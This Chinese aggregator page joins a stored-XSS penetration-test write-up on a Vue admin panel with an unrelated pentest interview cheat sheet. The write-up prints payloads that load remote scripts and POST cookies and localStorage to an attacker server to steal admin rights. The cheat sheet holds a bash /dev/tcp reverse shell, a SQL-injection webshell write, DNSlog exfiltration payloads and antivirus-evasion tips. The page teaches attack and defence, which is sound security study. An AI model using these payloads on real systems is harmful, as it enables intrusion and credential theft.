渗透测试之XSS漏洞:记一次模拟注入攻击

Posted 郭JX

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试之XSS漏洞:记一次模拟注入攻击相关的知识,希望对你有一定的参考价值。

前段时间在进行安全测试时,发现被测系统存在XSS漏洞,于是对被测系统进行了注入攻击,通过注入脚本代码,使得普通用户可以获取超级管理员的权限。现对这次模拟注入进行记录。

目录

XSS漏洞

漏洞介绍

XSS(cross-site script)跨站脚本攻击是一种web应用程序前端漏洞。攻击者将代码注入,用户在使用时由浏览器对漏洞代码进行解析,从而达到恶意攻击用户的特殊目的。

漏洞分类

  • 反射型:攻击者将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,就会触发XSS漏洞。
  • 存储型:又称作持久性XSS,攻击脚本被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。当数据被浏览器访问时,被注入的代码此时就会在浏览器中进行执行。
  • DOM型:DOM型XSS其实是一种特殊的反射型XSS,是一种基于DOM文档对象模型的一种漏洞。DOM节点树组成了html框架,利用javascript脚本可以对文档对象进行编辑,从而修改页面元素。

随着web开发技术的进步,前后端分离框架被不断的推广使用,目前的主流开发框架中,几乎已经很少见到反射型和DOM型的XSS漏洞了,下面讲到的基于实际业务模拟注入的例子是属于存储型XSS

模拟注入

场景介绍

模拟攻击的系统是一个后台管理系统。管理系统用户可以分为2种,一种是普通用户,一种是超级管理员。其中超级管理员登录系统后存在系统管理的菜单权限,普通用户无此权限。超级管理员可以通过系统管理的菜单给普通用户进行授权,分配除系统管理以外的所有菜单权限和数据权限。
期望达到的效果:通过注入脚本代码,在注入成功后,普通用户也可以使用系统管理给自己或其他用户授予权限。

场景演示

渗透测试XSS漏洞演示场景

系统分析

在这个注入攻击中,攻击者需要窃取的是管理员的权限,然后将自己的权限替换为管理员权限。那么重点就是如何获取管理员的权限。通过浏览器F12观察系统,发现权限相关数据除了保存在数据库中,还以json串的形式在用户登录成功后保存在浏览器的localstorage中。

所以只需要通过注入脚本,就可以在用户不知情的情况下获取到权限数据了,具体脚本内容后面会写到。

注入流程


如图所示,注入攻击流程为找到存在漏洞的功能,注入漏洞代码A,当管理员操作了对应的功能后,触发注入脚本,脚本获取到权限数据后发送给攻击者进行存储。攻击者注入漏洞代码B,攻击者触发漏洞代码B所在的功能后,脚本将攻击者浏览器内存储的权限替换为管理员的权限,至此攻击完成。

详细步骤

寻找存在xss漏洞的功能
系统采用前后端分离的架构实现,前端使用vue框架。根据这种框架语法,在代码为v-html时,才会将代码语句按普通HTML插入,不会作为Vue模板进行编译。通过检索代码发现,对应功能为富文本编辑所在模块,具体为富文本查看内容相关的代码。

  <div class="markdown-body" v-html="marked(text)"></div>

注入获取管理员权限脚本
通过页面上的编辑功能,攻击者将如下js脚本添加至系统中保存在系统数据库中,当管理员查看详情时,浏览器就会加载执行这段脚本。

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://10.10.xxx.xx/xss.jx'/>

浏览器解析img标签时,图片路径错误,触发onerror函数,函数会在html dom树中添加一个script标签,该标签会加载一个远程js脚本文件,这个远程js文件在攻击者的服务器上。

console.log(document.cookie);
console.log(window.localStorage);

var data=window.localStorage;
data["cookie"]=document.cookie;
var xhr = new XMLHttpRequest();
xhr.open("POST","http://10.10.xxx.xx:5000/v1/xss",true);
xhr.setRequestHeader("Content-Type","application/json");
xhr.send(JSON.stringify(data))

在远程js中,攻击者获取到存储在localStorage中的权限数据,调用接口使用http请求的方式将数据发送给攻击者自己的服务进行二次处理和存储,至此攻击者就已经成功获取到管理员的权限内容和结构了。
注入替换管理员权限脚本
与获取管理员权限一样,注入脚本动态添加script标签,远程加载js文件

<img src=x onerror=document.body.appendChild(document.createElement('script')).src='http://10.10.xxx.xx/xss2.jx'/>

远程js调用攻击者自己提供的接口服务,接口功能为从数据库中查询出管理员权限,并和攻击者自己的权限进行拼接和格式处理,因为浏览器存储的数据不光只有菜单数据,还有token和用户组织等数据,此处只合并替换菜单权限,保留攻击者自己的其余数据信息。

console.log(window.localStorage);
var data = 
	"forged": window.localStorage["APP_xxx_PLATFORM_ADMIN_FROM"],
	"original": "demo"

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://10.10.xx.xxx:5000/v1/xss/constructPermission", true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.send(JSON.stringify(data));
xhr.onreadystatechange = function() 
	console.log(xhr.responseText);
	window.localStorage["APP_xxx_DIGITAL_PLATFORM_ADMIN_FROM"] = xhr.responseText;
	if (window.sessionStorage["reload"] != "yes") 
		window.location.reload();
		window.sessionStorage["reload"] = "yes";
	

在接口返回构造好的权限数据后,远程js脚本将数据和攻击者当前浏览器中的数据进行替换,此时,攻击者就已经具有管理员权限了。

XSS防护

看近10年的owasp top 10,可以发现XSS漏洞几乎年年榜上有名,但在去年xss注入被统一归到了注入里。其实,随着互联网技术的发展,在几年前出现较多的xss漏洞近些年变得越来越少见。但即使随着技术发着漏洞变少了,但XSS带来的隐患还是十分巨大。不仅是例子中的窃取、伪造用户信息,XSS还可以伪造页面钓鱼,在用户不知情的情况下进行“正常”操作,这些即使时之后查审计日志也查不出问题。那么对于XSS漏洞如何防护呢?
对输入进行过滤,对输出进行编码。浏览器之所以能解析注入脚本,就是因为注入脚本中的js或html代码被浏览器解析了,浏览器认为这是正常的应该被执行的代码。那么我们的功能在保存和显示的时候就要对敏感的信息进行编码,比如<img就要被编码为&lt;,这样浏览器就不会认为目标代码是标签了。
在这个例子中,使用vue框架的前端服务如何进行XSS防护呢?很简单,这里只要使用npm install xss来安装xss模块,在显示时进行代码过滤,就可以比较有效的进行防护。

    <script>
        Object.defineProperty(Vue.prototype, '$xss', 
          value: filterXSS
        )
    </script>
  <div class="markdown-body" v-html="marked($xss(text))"></div>

2022渗透测试面试大全(过来人的全部家底)

面试过很多次渗透测试岗位,整理的面试题改了又改,这是我的最终版本,绝对的干货,记得收藏保存。

目录

渗透测试流程

业务逻辑漏洞

挖到过的漏洞

sql注入

跨站脚本攻击XSS

CSRF跨站请求伪造

SSRF服务器端请求伪造

文件上传

文件解析

XXE即xml外部实体注入漏洞

XSS和CSRF的区别

CSRF和SSRF的区别

CSRF 和 XSS 和 XXE 区别

中间件漏洞

PHP代码审计容易出问题的点

GET 和 POST 的区别

Cookie和Session的区别

webshell的检测方法

反弹shell常用命令

内网渗透

提权

免杀

应急响应

反序列化

溯源

owasp top10

域渗透

登陆界面测试思路

DNSlog使用

渗透测试流程

首先拿到书面权限。 
(1)信息收集 
1.获取域名的 whois 信息,获取注册者邮箱姓名电话等。 
2.查询服务器旁站以及子域名站点,因为主站一般比较难,所以先看看旁站有没有通用性的 cms 或者其他漏洞。 
3.查看服务器操作系统版本,web中间件,看看是否存在已知的漏洞,比如 IIS,APACHE,NGINX 的解析漏洞 
4.查看IP,进行IP地址端口扫描,对响应的端口进行漏洞探测,比如mysql-3306,ftp-21,ssh -22等。
5.扫描网站目录结构,看看是否可以遍历目录,或者敏感文件泄漏。可以使用dirb、ffuf工具扫描目标网站的目录。 
6.google hack 进一步探测网站的信息,后台,敏感文件 。 
7.可以对网站架构探测-获取网站的插件信息,比如说js版本,cms类型,中间件信息。如火狐插件-wappalyzer,CMS指纹识别、查看数据包的响应头。 
8.资产收集工具-灯塔系统,OneForAll-master。 
(2)漏洞扫描 开始检测漏洞,我们可以使用漏洞扫描工具:awvs、nessus、appscan、xray。同时,配合手动测试,如 sql注入,xss跨站脚本、csrf跨站请求伪造、xxe漏洞、ssrf服务端请求伪造、文件包含、文件上传、文件解析、远程代码执行漏洞、越权访问漏洞、反序列化漏洞等 。
(3)漏洞利用 可以利用一些方式拿到 webshell。如:sql注入-sqlmap,XSS跨站脚本-Beef-XSS、抓包工具-brup、文件上传漏洞-一句话木马 
(4)权限提升 获得了webshell后,一般权限很低,所以我们需要提权。1.mysql提权2.windows溢出提权3.linux脏牛,内核漏洞提权(CVE-2016-5195)(cve-2021-4034)。 
(5)日志清理 
(6)总结报告及修复方案

业务逻辑漏洞

1.越权漏洞 
        水平越权:一般是修改get或post参数来查看其他人的业务信息,一般是在订单处或个人信息处。例如:2个账号,修改账号1的get或post参数去查看账号2的信息。 
        垂直越权:两个账号,一个普通,一个管理员,抓包修改管理员的参数,权限类型不变,权限ID改变,普通账号获得与管理员相同的权限。 
2.密码找回 
        攻击者只要通过在本地抓取数据包并对其内容加以分析就能获取到其他用户的用户凭证,从而达到重置任意用户密码的目的。 
        找回密码功能模块通常会将用户凭证(通常为验证码或者链接)发送到用户注册时使用的手机号或者邮箱中,只要用户不泄露自己的用户凭证就不会被攻击者利用。但有些信息系统在密码找回功能的设计存在逻辑缺陷,可能会将用于用户自证身份的信息的用户凭证以各种各样的方式返回到客户端。 
        防御:1.不要将token验证之类的数据直接返回给用户数据包。2.用户身份验证一定要在后端实现。 
3.支付逻辑漏洞 
        服务器端没有对客户端请求数据中的金额、数量等敏感信息作校验,攻击者通过bp抓包修改任意金额购买商品或者给账号充值等。
        防御:1.在请求数据中对涉及金额、数量等敏感信息进行加密,并在服务器端对其进行校验。2.支付交易请求数据中加入token,防止重放攻击。 
4.验证码相关漏洞 
        验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。 
        验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。 
        验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。 
5.重放攻击漏洞 
        比如说点赞或者签到地方,服务器是根据ip地址识别当前用户是否已点赞的,在数据包里添加一行X-Forwarded-For来伪造http客户端ip,使用bp抓包后发到intruder里遍历IP,设置payload去攻击,经过多次重放,可导致多次签到。 
        防御:1.添加token值2.添加时间戳。

挖到过的漏洞

水平越权 垂直越权 支付漏洞 重放攻击 弱口令 任意文件上传

sql注入

简介
主要原因是程序员在开发用户和数据库交互的系统时没有对用户输入的字符串进行过滤,转义,限制或处理不严谨,导致用户可以通过输入精心构造的字符串去非法获取到数据库中的数据。
分类:
1、基于时间的盲注(查看延迟语句是否执行)
2、基于布尔的盲注(根据返回页面判断条件真假)
3、基于报错注入(页面会返回报错信息)
4、基于数字型注入(分为联合查询注入、堆查询注入、宽字节注入)
​
防御:
1.使用预编译语句,绑定变量
2.过滤特殊符号
3.检查变量的数据类型和格式
4.使用白名单来规范化输入验证方法 
​
1.获取数据库名 
select SCHEMA_NAME from information_schema.SCHEMATA
2.获取表名
select TABLE_NAME from information_schema.TABLES
3.获取字段名
select * from information_schema.COLUMNS where TABLE_NAME="users" and TABLE_SCHEMA="security"
4.获取数据
select id,username,password from users
​
绕过waf
7.替换大小写
8.替换关键字
9.编码:16进制编码、unicode编码
10.插入注释
11.特殊符号
12.缓冲区溢出。
​
Sql注入流程:
判断是否有回显,有回显尝试联合查询,无回显查看是否有数据库报错信息,有报错信息可以尝试报错注入。无回显无报错信息,尝试盲注(时间和布尔)
​
sqlmap,怎么对⼀个注⼊点注⼊?
1)如果是 get 型号,直接,sqlmap -u "诸如点⽹址".
2) 如果是 post 型诸如点,可以 sqlmap -u "注⼊点⽹址” --data="post 的参数 "
3)如果是 cookie,X-Forwarded-For 等,可以访问的时候,⽤ burpsuite 抓包,注⼊处⽤*号替换,放到⽂件⾥,然后sqlmap -r "⽂件地址
​
报错注入函数:
1.updatexml()函数 2.extractvalue()函数  3.floor()函数
​
盲注和延时注入的共同点?
都是一个字符一个字符的判断
​
SQL语句写入webshell
    1.联合查询:通过SQL注入select into outfile实现。
1' union select 1,"<?php @eval($_GET['cmd'])?>" into outfile 'E:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\DVWA-master\\\\cmd.php' --
    2.盲注或报错:可以通过分隔符写入,利用lines terminated by语句进行拼接,拼接后面的webshell内容。
1' into outfile 'E:\\\\phpStudy\\\\PHPTutorial\\\\WWW\\\\DVWA-master\\\\321.php' lines terminated by '<?php phpinfo(); ?>'--

跨站脚本攻击XSS

简介:
攻击者向有XSS漏洞的网站中输入恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。
分类:
反射型(非持久型)XSS、存储型(持久型)XSS、DOM型XSS.
区别:
DOM XSS和反射型XSS、存储型XSS的差别在于DOM XSS的代码并不需要服务器参与,触发XSS靠的是浏览器端的DOM解析,完全是客户端的事情。
防御:
1.使用XSS Filter,即跨站脚本过滤器,用于分析用户提交的输入,并过滤可能存在的脚本攻击及恶意的THML或简单的HTML格式错误等。
2.输入过滤
输入是否仅仅包含合法的字符;
输入字符串是否超过最大长度限制;
输入如果为数字,数字是否在指定的范围;
输入是否符合特殊的格式要求,如E-mail地址、IP地址等
3.输出编码
<(小于号) 转成 &lt;
> (大于号)转成 &gt;
& (和号)转成 &amp;
" (双引号)转成 &quot;
' (单引号)转成 &#39;
4.黑名单和白名单
5.内容安全策略(csp):CSP用于限制浏览器查看您的页面,以便它只能使用从受信任来源下载的资源。

CSRF跨站请求伪造

原理
网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。
防御
1.验证 HTTP Referer 字段
2.在请求地址中添加 token 并验证
3.在 HTTP 头中自定义属性并验证

SSRF服务器端请求伪造

原因
服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
防御
1.限制协议:仅允许http和https请求。
2.限制IP:避免应用被用来获取内网数据,攻击内网。
3.限制端口:限制请求的端口为http常用的端口,比如,80,443,8080,8090。
4.过滤返回信息:验证远程服务器对请求的响应是比较简单的方法。
统一错误信息:免用户可以根据错误信息来判断远端服务器的端口状态。
有回显
    直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。
无回显
    1.先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
    "... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\\\aa"> ..."
    "... <!ENTITY test SYSTEM "SSRF.lkun0l.dnslog.cn\\\\aa"> ..."
    2.使用burp的collaborator来进行尝试
    3.开启apache服务,在存在ssrf处访问http://10.1.1.200(本机服务地址),查看服务器日志信息,打开日志确定是否被访问,确定是否存在ssrf漏洞。

文件上传

文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力
通过利用任意文件上传漏洞可以最快获取WebShell,一般常见有三种情况:
1.站点没有任何防护,且上传点未做安全校验,则可直接上传WebShell文件。
2.站点存在简单防护:
    前端校验文件后缀时,可先传允许的文件类型,然后抓包修改文件后缀。
    MIME校验时,抓包修改Conten-Type为允许MIME类型。
3.CMS等的通用任意文件上传漏洞:绕过黑白名单、绕过文件内容检测、CMS的文件上传漏洞
绕过waf
1.数据溢出
2.数据阶段:%00截断
3.去掉双引号绕过
4.文件名后缀大小写绕过
​
文件上传中include和require的区别
1.加载失败的处理方式及不同
include引入文件失败后会继续执行
require失败后停止执行
2.
Include是有条件包含函数
include 'file.php'; //file.php不会被引入
Require是无条件包含函数
require 'file.php'; //file.php将会被引入
3.文件引用方式
Include有返回值
Require没有返回值

文件解析

Apache 解析漏洞:后缀解析
Nginx解析漏洞:
畸形解析漏洞、空字节代码执行漏洞
IIS 6.0解析漏洞:
目录解析、后缀解析

文件包含

当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
分类:本地包含和远程包含
include和require区别主要是,include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行;而require函数出现错误的时候,会直接报错并退出程序的执行。
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。

XXE即xml外部实体注入漏洞

原理
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。xxe漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
防御
1、使用开发语言提供的禁用外部实体的方法。
2、PHP:libxml_disable_entity_loader(true);
2、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。

XSS和CSRF的区别

XSS不需要登录,CSRF需要用户登录信息
XSS攻击客户端,CSRF访问服务端
XSS劫持用户信息,CSRF伪造用户身份访问正常网站

CSRF和SSRF的区别

(1)CSRF 是跨站请求伪造攻击,由客户端发起
(2)SSRF 是服务器端请求伪造,由服务器发起

CSRF 和 XSS 和 XXE 区别

(1)XSS 是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。
修复方式:对字符实体进行转义、使用 HTTP Only 来禁止 JavaScript 读取Cookie 值、输入时校验、浏览器与 Web 应用端采用相同的字符编码。
(2)CSRF 是跨站请求伪造攻击,XSS 是实现 CSRF 的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。
修复方式:筛选出需要防范 CSRF 的页面然后嵌入 Token、再次输入密码、检验 Referer
(3)XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。
修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

中间件漏洞

IIS:
IIS6.0 PUT漏洞
IIS6.0 远程代码执行漏洞
IIS6.0 解析漏洞
IIS启用.net 短文件名漏洞
IIS7.0/7.5 解析漏洞

Apache:
未知扩展名解析漏洞
配置错误导致的解析漏洞、目录遍历

Nginx:
配置错误导致的解析漏洞、目录遍历

PHP代码审计容易出问题的点

1、参数拼接方式皆有可能产生SQL注入(老生常谈)
2、全局变量注册导致的变量覆盖
3、fwrite参数未过滤导致的代码执行
4、权限校验疏漏导致的后台功能访问
5、接口任意文件上传
6、unserialize反序列化漏洞

GET 和 POST 的区别

1、
get是获取数据。
post是修改数据。
2、
get把请求的数据放在url上,以?分割URL和传输数据,参数之间以&相连,所以get不太安全。
post把数据放在HTTP的包体内(requrest body)。
3、
get提交的数据最大是2k( 限制实际上取决于浏览器)。
post理论上没有限制。
4、
GET产生一个TCP数据包,浏览器会把http header和data一并发送出去,服务器响应200(返回数据)。
POST产生两个TCP数据包,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
5、
GET请求会被浏览器主动缓存。
POST不会,除非手动设置。

Cookie和Session的区别

 1,存储的位置不同,
cookie:存放在客户端,
session:存放在服务端。
Session存储的数据比较安全
2,存储的数据类型不同
两者都是key-value的结构,但针对value的类型是有差异的
cookie:value只能是字符串类型,session:value是Object类型
3,存储的数据大小限制不同
cookie:大小受浏览器的限制,很多是4K的大小 
session:理论上受当前内存的限制

webshell的检测方法

Grep、关键词、关键函数、安全狗、D盾。

反弹shell常用命令

1.bash反弹shell
Nc开启监听,然后通过bash进行反弹shell
bash -i >& /dev/tcp/IP/端口 0>&1
2.Msf反弹shell
Msf制作php木马,使用handler模块开始监听,反弹shell。

内网渗透

思路:攻击外网服务器、获取外网服务器的权限,接着利用入侵成功的外网服务器作为跳板、攻击内网其他服务器、最后获取敏感数据,
vulnstack内网渗透靶场
1.环境搭建
2.信息收集
3.通过漏洞利用获取webshell。
4.通过webshell获取meterpreter,进行提权:生成后门程序、执行监听、上传并执行木马、提权。
5.通过meterpreter进行内网信息收集:
Ifconfig查看ip
Route查看路由
Arp查看arp列表
sysinfo查看目标系统信息;
Getwd查看meterpreter所在目录
Getpid查看meterpreter的进程号
run get_local_subnets 查看当前主机的网段与掩码。
6.根据收集到的内网信息进行横向渗透。
将已经获取权限的服务器配置为代理服务器当做跳板,进行横向扩展,设置路由网关,使用metasploit内置模块对目标服务器进行信息收集与探测。
7.痕迹清理。

多层内网渗透的原理:
渗透机win10+kali 
第一层靶机(外网web服务器)
第二层靶机(内网web服务器)
第三层靶机(内网办公机)win7
上传msf上传到第一层主机
第一层主机的meterpreter添加第二层的网络路由,启用代理配置第二层网络。利用第二层主机的meterpreter添加第三层的网络路由,使用代理配置网络,设置端口(lcx、ew、socks)

提权

Linux提权
内核漏洞提权 (cve-2016-5195)
查看内核版本uname -a
下载,编译生成exp文件
Make执行

版本过高:目前主流linux版本均受影响 Cve-2021-4034,使用wget https://github.com/berdav/CVE-2021-4034将文件下载到tmp文件中,然后make执行拿到root权限

Suid提权:普通用户去执行 root 权限的操作,而不需要知道 root 的密码
第三方软件提权

免杀

免杀就是反病毒技术,免于被查毒软件查杀。
加冷门壳
加壳改壳
加花指令
	通过加一些指令也就是花指令来达到免杀效果,原理跟改特征码差不多。例如杀毒软件本来是在0x00001000到0x00005000处找一个特征码。但因为我们填充了花指令,恶意代码跑到了0x00008000这个位置,就会导致特征码查杀失败,从而达到免杀目的。
改特征码方法:
	大多数杀毒软件都是基于特征码进行查杀的。方法:利用myccl工具查找定位复合特征码

应急响应

1.准备阶段:
准备阶段要做的是主要是明确资产范围对可能产生安全问题的 地方进行加固。
2.检测阶段:
通过日常的监控,收集系统信息日志等手段对可疑的迹象进行分析,判断,如果判定他属于网络安全应急响应时间,则对该事件进行上报(可以利用netstat -ano查看端口连接情况,也可以使用tasklist | find “PID” 对具体进程定位。系统日志可以WIN+R,输入eventvw.msc,直接进入事件查看器分析日志)
3.抑制阶段:
分析影响范围,根据预案采取相应手段,限制攻击的范围,设置隔离区 ,把影响降低到最小(可以使用安全软件进行隔离,如果整台电脑完全沦陷,也可以考虑首先断网)
4.根除阶段:
分析产生安全事件的原因,如果是木马,,病毒就需要找出源头来并且遏制,如果是入侵行为就可以通过入侵检测的方式来检测数据流,也可以利用一些工具对病毒特征进行扫描分析和定位
5.恢复阶段:
对受到破坏的系统和信息进行恢复还原,从可信任的备份中恢复还原系统配置,数据库等等,并对其进行实时监控,确保无误的情况可适当去掉之前做的隔离等抑制等措施。
6.总结阶段:
对我们上面所发生的安全事件做一个总结,对你所使用到的有效的手段和方法做一个记录,对后面可能遇到的安全事件做一个示例

反序列化

PHP反序列化漏洞也叫PHP对象注入。PHP 中的序列化与反序列化,基本都是围绕serialize() 和unserialize() 两个函数展开的。
序列化就是把一个对象变成可以传输的字符串,反序列化就是一个相反的过程,在php的反序列化当中存在着魔术函数,执行序列化操作时会自动执行这些函数.
在研究反序列化漏洞过程中,如果遇到几个魔法函数就需要我们去重点关注。
construct()当一个对象创建时被调用
destruct()当一个对象销毁时被调用
toString()当一个对象被当作一个字符串使用
sleep() 在对象在被序列化之前运行
wakeup将在序列化之后立即被调用
如果服务器能够接收我们反序列化过的字符串、并且未经过滤的把其中的变量直接放进这些魔术方法里面的话,就容易造成很严重的漏洞。

溯源

指从攻击者遗留下的信息进行反向查找,查找到攻击者的姓名,手机以及身份证号。
1.攻击源捕获
安全设备报警:扫描ip、威胁阻断、病毒木马等。
日志与流量分析:异常的通讯流量、攻击源与攻击目标。
服务器资源异常,异常的文件、账号、进程、服务等
钓鱼邮件:获取恶意文件样本、钓鱼网站url等
蜜罐系统:获取攻击者行为、意图的相关信息。

2.溯源反制手段
Ip定位技术:根据IP定位物理地址—代理IP
网站url:域名whois查询-注册人的姓名、地址、电话和邮箱

案例一:邮件钓鱼攻击溯源
攻防场景:攻击者伪造正常的邮件、绕过邮件网关,将邮件投递到目标邮箱,诱骗用户点击邮件链接。
信息收集: 通过查看邮件原文,获取发送方IP地址、域名后缀邮箱、钓鱼网站或恶意附件样本等信息。
溯源方式:第一种,可以通过相关联的域名/IP进行追踪;第二种,对钓鱼网站进行反向渗透获取权限,进一步收集攻击者信息;第三种,通过对邮件恶意附件进行分析,利用威胁情报数据平台寻找同源样本获取信息,也能进一步对攻击者的画像进行勾勒。
案例二:蜜罐溯源
攻防场景:在企业内网部署蜜罐去模拟各种常见的应用服务,诱导攻击者攻击。
溯源方式:在攻击者入侵蜜罐时,蜜罐可以记录攻击者的入侵行为,获取攻击者的主机信息、浏览器信息、甚至是真实 IP及社交信息。

owasp top10

1.失效的访问控制
2.加密机制失效
3.注入
4.不安全设计
5.安全配置错误
6.自带缺陷和过时的组件
7.身份识别和身份验证错误
8.软件和数据完整性故障
9.安全日志和监控故障
10.服务端请求伪造

域渗透

概念:
	将网络中多台计算机逻辑上组织到一起,进行集中管理,这种区别于工作组的逻辑环境叫做域
域渗透的思路:
	通过域成员主机,定位出域控制器IP及域管理员账号,利用域成员主机作为跳板,扩大渗透范围,利用域管理员可以登陆域中任何成员主机的特性,定位出域管理员登陆过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器、渗透整个内网。
常用指令:
	得到域控制器的IP:dsquery server
	得到域控制器主机名:net group "domain controllers" /domain
	查询域管理用户:net group "domain admins" /domain
	查看所有域用户: net user /domain

登陆界面测试思路

对登陆界面进行抓包,查看发送包和响应包。
1.看是否有-cookie属性安全漏洞。查看setcookie是否有httponly。
	HttpOnly是Cookie中一个属性,用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。
2.看是否有-响应头缺失漏洞。X-Content-Type-Options、HTTP Content-Security-Policy、单击劫持:X-Frame-Options
3.看是否有-cors漏洞。
4.看是否有-敏感信息明文传输漏洞。
5.看是否有-启用不安全的http方法。在响应中查看allow头信息,在allow头中发现delete、put等选项。
6.对账号密码进行爆破,测试是否有弱口令。
7.验证码相关漏洞
	验证码暴力破解:验证码具有一定的规律性,通过穷举或其它方式猜解出验证码。
	验证码重复使用:当服务器端接受请求后,没有将上一次保存的session及时清空,将会导致验证码可重复使用。
	验证码绕过:系统没有把验证码和用户放在一个请求里面校验,导致绕过了第一次验证码校验,就可以进行密码爆破。
8.测试-短信爆破。看是否可多次发送短信。
9.测试是否有-host头攻击漏洞。修改host为baidu.com,发包看是响应包的url是否为baidu.com

DNSlog使用

DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件
通常用在
	1.SQL盲注
	2.无回显的XSS
	3.无回显的命令执行
	4.无回显的SSRF
网址
	http://www.dnslog.cn/
	http://ceye.io/records/dns
1.xss盲打
	"<script src=http://XSS.XXXXX.ceye.io></script>"
	<ImG src=http://xss.9e5ehg.dnslog.cn>
2.SSRF
	"... <!ENTITY test SYSTEM "SSRF.xxxx.ceye.io\\\\aa"> ..."
3.命令执行
	" ping %PATH%.pxxx.ceye.io ..."

以上是关于渗透测试之XSS漏洞:记一次模拟注入攻击的主要内容,如果未能解决你的问题,请参考以下文章

渗透测试学习笔记

渗透测试学习笔记

投稿一次不完整的XSS混合渗透测试记录

XSSFORK:新一代XSS自动扫描测试工具

渗透小知识之XSS攻击利用

XSS漏洞自动化攻击工具XSSer